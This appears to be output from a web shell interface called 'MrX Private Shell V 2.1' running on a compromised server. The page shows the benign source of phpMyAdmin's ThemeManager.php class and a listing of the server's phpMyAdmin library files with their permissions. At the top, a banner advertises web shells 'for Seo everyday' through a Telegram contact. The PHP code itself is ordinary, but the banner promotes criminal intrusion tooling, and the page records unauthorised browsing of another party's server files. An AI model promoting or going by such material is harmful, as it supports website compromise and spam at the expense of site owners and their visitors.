__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace PhpMyAdmin;
use function __;
use function array_key_exists;
use function closedir;
use function htmlspecialchars;
use function is_dir;
use function ksort;
use function opendir;
use function readdir;
use function sprintf;
use function trigger_error;
use const DIRECTORY_SEPARATOR;
use const E_USER_ERROR;
use const E_USER_WARNING;
/**
* phpMyAdmin theme manager
*/
class ThemeManager
{
/**
* ThemeManager instance
*
* @static
* @var ThemeManager
*/
private static $instance;
/** @var string file-system path to the theme folder */
private $themesPath;
/** @var string path to theme folder as an URL */
private $themesPathUrl;
/** @var array<string,Theme> available themes */
public $themes = [];
/** @var string cookie name */
public $cookieName = 'pma_theme';
/** @var bool */
public $perServer = false;
/** @var string name of active theme */
public $activeTheme = '';
/** @var Theme Theme active theme */
public $theme = null;
/** @var string */
public $themeDefault;
/**
* @const string The name of the fallback theme
*/
public const FALLBACK_THEME = 'pmahomme';
public function __construct()
{
$this->themes = [];
$this->themeDefault = self::FALLBACK_THEME;
$this->activeTheme = '';
$this->themesPath = self::getThemesFsDir();
$this->themesPathUrl = self::getThemesDir();
$this->setThemePerServer($GLOBALS['cfg']['ThemePerServer']);
$this->loadThemes();
$this->theme = new Theme();
$configThemeExists = true;
if (! $this->checkTheme($GLOBALS['cfg']['ThemeDefault'])) {
trigger_error(
sprintf(
__('Default theme %s not found!'),
htmlspecialchars($GLOBALS['cfg']['ThemeDefault'])
),
E_USER_ERROR
);
$configThemeExists = false;
} else {
$this->themeDefault = $GLOBALS['cfg']['ThemeDefault'];
}
// check if user have a theme cookie
$cookieTheme = $this->getThemeCookie();
if ($cookieTheme && $this->setActiveTheme($cookieTheme)) {
return;
}
if ($configThemeExists) {
// otherwise use default theme
$this->setActiveTheme($this->themeDefault);
} else {
// or fallback theme
$this->setActiveTheme(self::FALLBACK_THEME);
}
}
/**
* Returns the singleton ThemeManager object
*
* @return ThemeManager The instance
*/
public static function getInstance(): ThemeManager
{
if (empty(self::$instance)) {
self::$instance = new ThemeManager();
}
return self::$instance;
}
/**
* sets if there are different themes per server
*
* @param bool $perServer Whether to enable per server flag
*/
public function setThemePerServer($perServer): void
{
$this->perServer = (bool) $perServer;
}
/**
* Sets active theme
*
* @param string|null $theme theme name
*/
public function setActiveTheme(?string $theme): bool
{
if (! $this->checkTheme($theme)) {
trigger_error(
sprintf(
__('Theme %s not found!'),
htmlspecialchars((string) $theme)
),
E_USER_ERROR
);
return false;
}
$this->activeTheme = $theme;
$this->theme = $this->themes[$theme];
// need to set later
//$this->setThemeCookie();
return true;
}
/**
* Returns name for storing theme
*
* @return string cookie name
*/
public function getThemeCookieName()
{
// Allow different theme per server
if (isset($GLOBALS['server']) && $this->perServer) {
return $this->cookieName . '-' . $GLOBALS['server'];
}
return $this->cookieName;
}
/**
* returns name of theme stored in the cookie
*
* @return string|false theme name from cookie or false
*/
public function getThemeCookie()
{
global $config;
$name = $this->getThemeCookieName();
if ($config->issetCookie($name)) {
return $config->getCookie($name);
}
return false;
}
/**
* save theme in cookie
*
* @return true
*/
public function setThemeCookie(): bool
{
$themeId = $this->theme !== null ? (string) $this->theme->id : '';
$GLOBALS['config']->setCookie(
$this->getThemeCookieName(),
$themeId,
$this->themeDefault
);
// force a change of a dummy session variable to avoid problems
// with the caching of phpmyadmin.css.php
$GLOBALS['config']->set('theme-update', $themeId);
return true;
}
public function loadThemes(): void
{
$this->themes = [];
$dirHandle = opendir($this->themesPath);
if ($dirHandle === false) {
trigger_error('Error: cannot open themes folder: ./themes', E_USER_WARNING);
return;
}
while (($dir = readdir($dirHandle)) !== false) {
if ($dir === '.' || $dir === '..' || ! @is_dir($this->themesPath . $dir)) {
continue;
}
if (array_key_exists($dir, $this->themes)) {
continue;
}
$newTheme = Theme::load($this->themesPathUrl . $dir, $this->themesPath . $dir . DIRECTORY_SEPARATOR, $dir);
if (! $newTheme instanceof Theme) {
continue;
}
$this->themes[$dir] = $newTheme;
}
closedir($dirHandle);
ksort($this->themes);
}
/**
* checks if given theme name is a known theme
*
* @param string|null $theme name fo theme to check for
*/
public function checkTheme(?string $theme): bool
{
return array_key_exists($theme ?? '', $this->themes);
}
public function getThemesArray(): array
{
$themes = [];
foreach ($this->themes as $theme) {
$themes[] = [
'id' => $theme->getId(),
'name' => $theme->getName(),
'version' => $theme->getVersion(),
'is_active' => $theme->getId() === $this->activeTheme,
];
}
return $themes;
}
public static function initializeTheme(): ?Theme
{
$themeManager = self::getInstance();
return $themeManager->theme;
}
/**
* Return the themes directory with a trailing slash
*/
public static function getThemesFsDir(): string
{
return ROOT_PATH . 'themes' . DIRECTORY_SEPARATOR;
}
/**
* Return the themes directory with a trailing slash as a relative public path
*/
public static function getThemesDir(): string
{
return './themes/';// This is an URL
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Charsets | Folder | 0755 |
|
|
| Command | Folder | 0755 |
|
|
| Config | Folder | 0755 |
|
|
| ConfigStorage | Folder | 0755 |
|
|
| Controllers | Folder | 0755 |
|
|
| Crypto | Folder | 0755 |
|
|
| Database | Folder | 0755 |
|
|
| Dbal | Folder | 0755 |
|
|
| Display | Folder | 0755 |
|
|
| Engines | Folder | 0755 |
|
|
| Exceptions | Folder | 0755 |
|
|
| Export | Folder | 0755 |
|
|
| Gis | Folder | 0755 |
|
|
| Html | Folder | 0755 |
|
|
| Http | Folder | 0755 |
|
|
| Image | Folder | 0755 |
|
|
| Import | Folder | 0755 |
|
|
| Navigation | Folder | 0755 |
|
|
| Partitioning | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Properties | Folder | 0755 |
|
|
| Providers | Folder | 0755 |
|
|
| Query | Folder | 0755 |
|
|
| Server | Folder | 0755 |
|
|
| Setup | Folder | 0755 |
|
|
| Table | Folder | 0755 |
|
|
| Twig | Folder | 0755 |
|
|
| Utils | Folder | 0755 |
|
|
| WebAuthn | Folder | 0755 |
|
|
| Advisor.php | File | 12.32 KB | 0644 |
|
| Bookmark.php | File | 9.19 KB | 0644 |
|
| BrowseForeigners.php | File | 10.63 KB | 0644 |
|
| Cache.php | File | 1.5 KB | 0644 |
|
| Charsets.php | File | 6.82 KB | 0644 |
|
| CheckUserPrivileges.php | File | 11.3 KB | 0644 |
|
| Common.php | File | 19.4 KB | 0644 |
|
| Config.php | File | 41.65 KB | 0644 |
|
| Console.php | File | 3.25 KB | 0644 |
|
| Core.php | File | 28.91 KB | 0644 |
|
| CreateAddField.php | File | 15.83 KB | 0644 |
|
| DatabaseInterface.php | File | 71.73 KB | 0644 |
|
| DbTableExists.php | File | 2.86 KB | 0644 |
|
| Encoding.php | File | 8.41 KB | 0644 |
|
| Error.php | File | 13.63 KB | 0644 |
|
| ErrorHandler.php | File | 18.31 KB | 0644 |
|
| ErrorReport.php | File | 8.99 KB | 0644 |
|
| Export.php | File | 45.7 KB | 0644 |
|
| FieldMetadata.php | File | 11.11 KB | 0644 |
|
| File.php | File | 19.75 KB | 0644 |
|
| FileListing.php | File | 2.88 KB | 0644 |
|
| FlashMessages.php | File | 1.22 KB | 0644 |
|
| Font.php | File | 5.58 KB | 0644 |
|
| Footer.php | File | 8.06 KB | 0644 |
|
| Git.php | File | 18 KB | 0644 |
|
| Header.php | File | 20 KB | 0644 |
|
| Import.php | File | 48.72 KB | 0644 |
|
| Index.php | File | 14.83 KB | 0644 |
|
| IndexColumn.php | File | 4.75 KB | 0644 |
|
| InsertEdit.php | File | 89.05 KB | 0644 |
|
| InternalRelations.php | File | 17.31 KB | 0644 |
|
| IpAllowDeny.php | File | 9.13 KB | 0644 |
|
| Language.php | File | 4.47 KB | 0644 |
|
| LanguageManager.php | File | 22.74 KB | 0644 |
|
| Linter.php | File | 4.99 KB | 0644 |
|
| ListAbstract.php | File | 1.67 KB | 0644 |
|
| ListDatabase.php | File | 4.11 KB | 0644 |
|
| Logging.php | File | 2.69 KB | 0644 |
|
| Menu.php | File | 20.4 KB | 0644 |
|
| Message.php | File | 18.68 KB | 0644 |
|
| Mime.php | File | 927 B | 0644 |
|
| Normalization.php | File | 41.53 KB | 0644 |
|
| OpenDocument.php | File | 8.62 KB | 0644 |
|
| Operations.php | File | 35.11 KB | 0644 |
|
| OutputBuffering.php | File | 4.1 KB | 0644 |
|
| ParseAnalyze.php | File | 2.34 KB | 0644 |
|
| Pdf.php | File | 4.17 KB | 0644 |
|
| Plugins.php | File | 21.83 KB | 0644 |
|
| Profiling.php | File | 2.16 KB | 0644 |
|
| RecentFavoriteTable.php | File | 11.44 KB | 0644 |
|
| Replication.php | File | 4.81 KB | 0644 |
|
| ReplicationGui.php | File | 21.24 KB | 0644 |
|
| ReplicationInfo.php | File | 4.79 KB | 0644 |
|
| ResponseRenderer.php | File | 13.5 KB | 0644 |
|
| Routing.php | File | 6.55 KB | 0644 |
|
| Sanitize.php | File | 11.98 KB | 0644 |
|
| SavedSearches.php | File | 11.33 KB | 0644 |
|
| Scripts.php | File | 3.74 KB | 0644 |
|
| Session.php | File | 8.16 KB | 0644 |
|
| Sql.php | File | 64.01 KB | 0644 |
|
| SqlQueryForm.php | File | 6.74 KB | 0644 |
|
| StorageEngine.php | File | 15.71 KB | 0644 |
|
| SystemDatabase.php | File | 3.98 KB | 0644 |
|
| Table.php | File | 90.33 KB | 0644 |
|
| Template.php | File | 4.5 KB | 0644 |
|
| Theme.php | File | 7.32 KB | 0644 |
|
| ThemeManager.php | File | 7 KB | 0644 |
|
| Tracker.php | File | 30.34 KB | 0644 |
|
| Tracking.php | File | 36.11 KB | 0644 |
|
| Transformations.php | File | 16.31 KB | 0644 |
|
| TwoFactor.php | File | 7.5 KB | 0644 |
|
| Types.php | File | 25.85 KB | 0644 |
|
| Url.php | File | 10.61 KB | 0644 |
|
| UrlRedirector.php | File | 1.74 KB | 0644 |
|
| UserPassword.php | File | 6.86 KB | 0644 |
|
| UserPreferences.php | File | 10.49 KB | 0644 |
|
| Util.php | File | 86.45 KB | 0644 |
|
| Version.php | File | 556 B | 0644 |
|
| VersionInformation.php | File | 7.3 KB | 0644 |
|
| ZipExtension.php | File | 10.33 KB | 0644 |
|